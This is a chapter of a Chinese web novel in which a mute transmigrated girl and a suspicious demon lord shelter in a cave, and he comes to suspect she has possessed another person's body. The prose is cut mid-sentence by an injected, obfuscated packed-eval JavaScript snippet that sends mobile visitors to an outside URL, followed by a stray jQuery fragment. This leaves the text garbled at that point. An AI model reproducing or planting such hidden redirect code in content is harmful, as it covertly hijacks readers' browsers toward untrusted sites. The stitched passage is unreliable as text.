赶了半个时辰的路,容峣后背早已被汗水浸湿,此刻别说灵力,就连体力也被榨得一干二净,当初在种田文里犁地都没这么累过。
喘着气放下藤索,她一屁股坐在原地,用袖口蹭去糊到眼睛的汗水,忍不住仰天长啸。
任务失败也就算了,为什么还要做苦力啊!
想到方才的情景,她不免转头幽怨地看身后人一眼。
这又是发什么疯?明明魔气都逼至眼前,怎么还带拐弯的?
若没有强行改变魔气方向,她能完成任务,他也不必晕,这不是对大家都好?
早知道她就一头撞上去,就算可能会人设ooc,也比任务失败来得好。
所以现在要多久,她才能再等到一次气运之子魔气暴走的机会?
拍了拍脸,等缓过气来,容峣艰难起身,挪动沉重的脚步走至他身侧,蹲下身狐疑地看着双眼紧闭的人。
这都多久了还没醒,总不至于被几个小喽啰干掉吧?
莫不是脑子出问题了?
刚要抬手摁上澹云天脑部的穴位,一阵凉风自林间穿梭而来,让她不由打了个哆嗦。
汗湿的衣物贴身本就泛冷,如今再被风一吹,更是冷得发抖。
再看澹云天单薄的外衫,容峣伸手在他脸上摸一把,果不其然也是冰冰凉凉的。
气运之子现在内外伤兼具,还不知什么时候醒来,不宜再添发烧的症状。
想到这,容峣决定大度地不计前嫌,想了个法子替他保暖。
自她停下起,澹云天就抱着静观其变的心思,闭着眼佯装未醒。
脚步声停在腰侧,温热带着潮意的呼吸喷洒在颈边,就在他以为对方准备动手的时候,脸上传来粗糙的触感。
他,堂堂魔尊,居然被一个废物丫头摸了脸。
要不是还在装晕,他真恨不得跳起来将人掐死,真是吃了熊心豹子胆。
甚至连怒气都生不出来,只觉得荒谬,同时一个更为荒谬的猜测冒出头。
这丑丫头总不能看上他了吧?
就在他为这个想法寻找蛛丝马迹的佐证时,哗啦啦的声音从上方传来。
虽然魔气虚空,但感知还在,数不清的落叶自上倾泻,转瞬将他盖了个严实,夹杂着两道满意的“嗬嗬”声。
磨了磨后槽牙,在枯叶即将铺上脖颈,明显是要将人活埋前,澹云天终于忍不住睁开眼。
去他爹地看上,这丑丫头就是没安好心!
“你......”
张开嘴,叱骂的话刚开了头,恰逢月光乍现,寡淡的白光越过黑沉直达眼底,澹云天不由眯了眯眼,下一刻同容峣对上视线。
额侧的头发被烧的烧、切的切,剩下能挡住视野的,也湿哒哒地贴在额头上方,露出一张汗涔涔的小脸。
肤如朽木,面色蜡黄,此时脸颊因劳累沁着嫣红,一看就是吃不饱穿不暖的小可怜。
偏偏这样一张脸,却生着飞扬的眉眼,逆着月光亮晶晶地看着他,仿若截了一段月光溶于眼眸。
美人在骨不在皮,若是好好养养,玉石终会褪去表层粗粝,露出光彩溢目的内里。
心里突然升起这个念头,澹云天微愣地张开嘴,剩下的话卡在喉咙终是没说出来。
倒是对方手舞足蹈,咿咿呀呀地看着很高兴。
[谢天谢地,总算醒了。]
那个声音又来了,清脆悦耳,带着情真意切的喜意,让他也不由微微展眉,却很快听到下一句。
[不然我真的会忍不住,将气运之子埋在这。]
将谁埋在这?声音中间出现可疑的空白,但不难猜出此情此景,被埋的会是谁。
后槽牙又泛起痒意,澹云天眼睛一转,正要装作体力不支的样子再晕过去,好看看这丑丫头是不是真有胆子,一双小手却比他动作更快。
人中被用力掐住,仿佛将整个身体的重量都压在上边,刺痛直冲天灵盖。
[别晕啊!我真的没力气了!]
他毫不怀疑,要是真晕过去,这丫头能实心眼地掐出淤青。
没好气地坐起来想将人拂开,澹云天刚要抬手,又被枝桠的重量往回拽,他不由顺着手腕往后看。
很好,还有这档子事。
不知道的,还以为有人打算趁夜黑风高,暗中在密林里挖坑埋尸。
将手脚腕的藤索解开,澹云天似笑非笑:“倒是辛苦你了。”
摇了摇头,容峣刚露出怯弱瑟缩的姿态,便听到他下一句:“虽然没起一点作用,但有句话怎么说来着?”
露出一点思索的模样,随后唇边的弧度略微扩大,澹云天轻笑道:“没有功劳,也有苦劳?”
眼底浮现出一点茫然,容峣在心底却咬牙切齿,也阴阳怪气起来。
[哟,多好一张脸,可惜长了嘴。]
[就该把这逆子扔在原地,好被人抓去扒皮抽筋严刑拷打!]
方才她可是看出来,那波人并不想取他性命,若不是有所保留,这气运之子哪还有闲心在这说三道四。
没有斩草除根,那便是有所图谋。
脸上的笑意微微收敛,澹云天探究地看她一眼,心里有些意外。
知人知面不知心,她内里竟是这样的性子?牙尖嘴利的,同他记忆里那个惯爱受欺负的吕桦月大相径庭。
眼底闪过一抹嘲弄,“逆子”两字倒是颇有吕家行事风格,澹云天脸上彻底没了笑意,起身后看向容峣的视线,隐隐带着杀意。
骤然感知到危险,容峣虽觉得这人阴晴不定,却有些期待他的动作。
[要杀我了吗?来来来,谁不动手谁是孙子。]
他现在依旧魔气不稳,大概也能沾一个暴走的边?即便评级可能降低,但至少也算完成任务。
可惜对方很快别过脸,朝着左边头也不回地径直离去。
容峣只能小跑跟上,很快便意识到这个身份最不方便的地方。
怎么偏偏不能说话,别说引导气运之子完成任务,就连他有何打算都无法问出口,只能跟着他在深山密林里瞎转。
看天色已是寅时,她现在是又累又困,悄无声息地打了个呵欠,只想找个地方歇息。
也不知道原主是怎么跟着这厮长途跋涉,即便有剧情力量作祟,也能称一句心性坚韧。
就在容峣闭眼的时间越来越长,控制不住小鸡啄米似的上下点头时,前边的人突然停下脚步,让她差点毫无防备地撞上去。
稳住脚步,揉了揉眼睛勉强打起精神,抬头看着面前隐于树丛中,离地三米多的山洞,容峣总算明白他的打算。
看来澹云天也没那么莽,还知道找个地方稍作休息,正好她也困了。
心里刚升起一点满意,前边的人突然纵身一跃,转眼消失在山洞之中,徒留她一人呆立在原地。
不是,您是不是忘了什么?
好歹也有苦劳,稍一程是会死吗?
试探着挥手发出咿呀的声音,提醒那位睁眼瞎忘了个人,她得到的却只有一道,从洞中传出的漫不经心的声音。
“自己上来。”
行,不就是爬个洞,有什么难的。
过去大半夜,灵力也恢复了指甲盖大小,容峣将其在脚底运转,朝着洞口猛扑而去,而后成功停在离地一米的距离。
默了默,她认命地借着藤蔓和突出的石体,手脚并用地爬上去。
洞内澹云天已清理干净燃起篝火,摆弄好阵盘后,在身下垫了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532464|203733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张厚实的绒垫,刚好坐在面朝洞口的方向,看着自力更生的人一点一点冒出头来。
就算没对上视线,他也直觉她肯定在骂自己。
这点时间已经让他琢磨出,突然出现他脑中的女声,应是吕桦月的心声,也只有对上视线的时候才能听到。
没想到这个闷不吭声的小哑巴,竟有如此丰富的内心活动。
只是,他眸底划过一抹沉思,总觉得有何处不对。
等人在篝火旁坐下,澹云天随手拿出两只处理好的兔子,递给旁边伸手取暖的人。
“烤了。”
刚进行了一场酣畅淋漓的攀岩运动,那点瞌睡早已散个干净,送到嘴边的吃食不要白不要,容峣接过后信手掏出家伙什,娴熟地架在火堆上翻烤。
山洞不大,两人又没有交谈的意思,只能听见兔肉在火焰的舔舐下滋滋作响,偶尔油脂滴入火堆,激起“噼啪”的炸响和一小缕白烟。
等兔子烤好,澹云天像是长了第三只眼睛一般,瞬间从入定中睁眼,抬手拿过更肥美的那只。
张嘴咬下一口,酥脆的外壳裹着嫩肉,鲜辣的味道在口中绽开,等咽下后他状似无意地夸道:“厨艺不错,是跟谁学的?”
嘴唇刚碰上兔腿,容峣闻声看过去,疑惑地眨了眨眼。
[这是在问我?一个哑巴?]
好吧,这里也没有第三个人,容峣放下兔肉,配合地胡乱比划。
[我倒是敢说,只是你能听明白吗?]
出乎意料地,澹云天竟真表现出一副倾听的模样,耐心接道:“是大厨房的黄厨娘,还是新进府的李厨子?”
容峣心底只觉古怪,这气运之子是吃错药了吧,她也没放什么奇怪的东西啊?
[什么黄厨娘李厨子,不都被你抹了脖子,现在问这个作甚?总不能把人挖出来继续做饭吧。]
[呕,那还是算了,我宁愿自给自足。]
想略过这个话题好好品尝手中的烤兔,容峣随意点了点头,反正原主的记忆中确实有这两个人。
但她不知道的是,黄厨娘眼高于顶又有私心,从不会传授旁人厨艺,更别说一个最底层的烧火丫头。
至于那位李厨子,向来只招待外客,从未踏入过内院。
而这些,澹云天全都知晓。
果然,他的直觉没错,眼前这人,虽披着吕桦月的皮,却并不是本人。
更重要的是,那胆小如鼠的丫头,当初不过是见到几具尸体就吓得噩梦不断,又怎会如此轻描淡写提起“抹了脖子”?
一个人的性格不会短时间变化这般大,比起她曾经装痴卖傻,澹云天更倾向于夺舍的可能。
或许能让他听到心声,便是夺舍留下的隐患。
手指轻拂过袖口,想到当时那抹细弱的拉力,他又有了新的疑惑。
在他看来,此人费尽心思夺舍,定是为杀他而来,但又何必冒着暴露的风险,出手相帮?
身份不明,立场不明,只能慢慢剥开这层皮囊,方可看到真实的内里。
嘴边噙着一抹饱含深意的笑意,他慢条斯理地嚼着兔肉,兴致盎然。
暂时不能离开气运之子,容峣知晓跟着他,后边的危机不会少,吃饱后就抓紧时间休息,恢复体力的同时,也不忘聊胜于无地吐纳灵力。
只是今夜注定不平静,这口气还没喘顺,又有人闻着味儿追来。
奇怪的是,这次澹云天并未直接应战,而是收了阵盘朝外扬声笑谑。
“竟劳仙朝的太子殿下屈尊降贵亲临此地,真是我的荣幸。”
谁?仙朝太子?这不是上个任务对象吗?
容峣一愣,很快听到脑中播报。
[剧情偏移度10%]。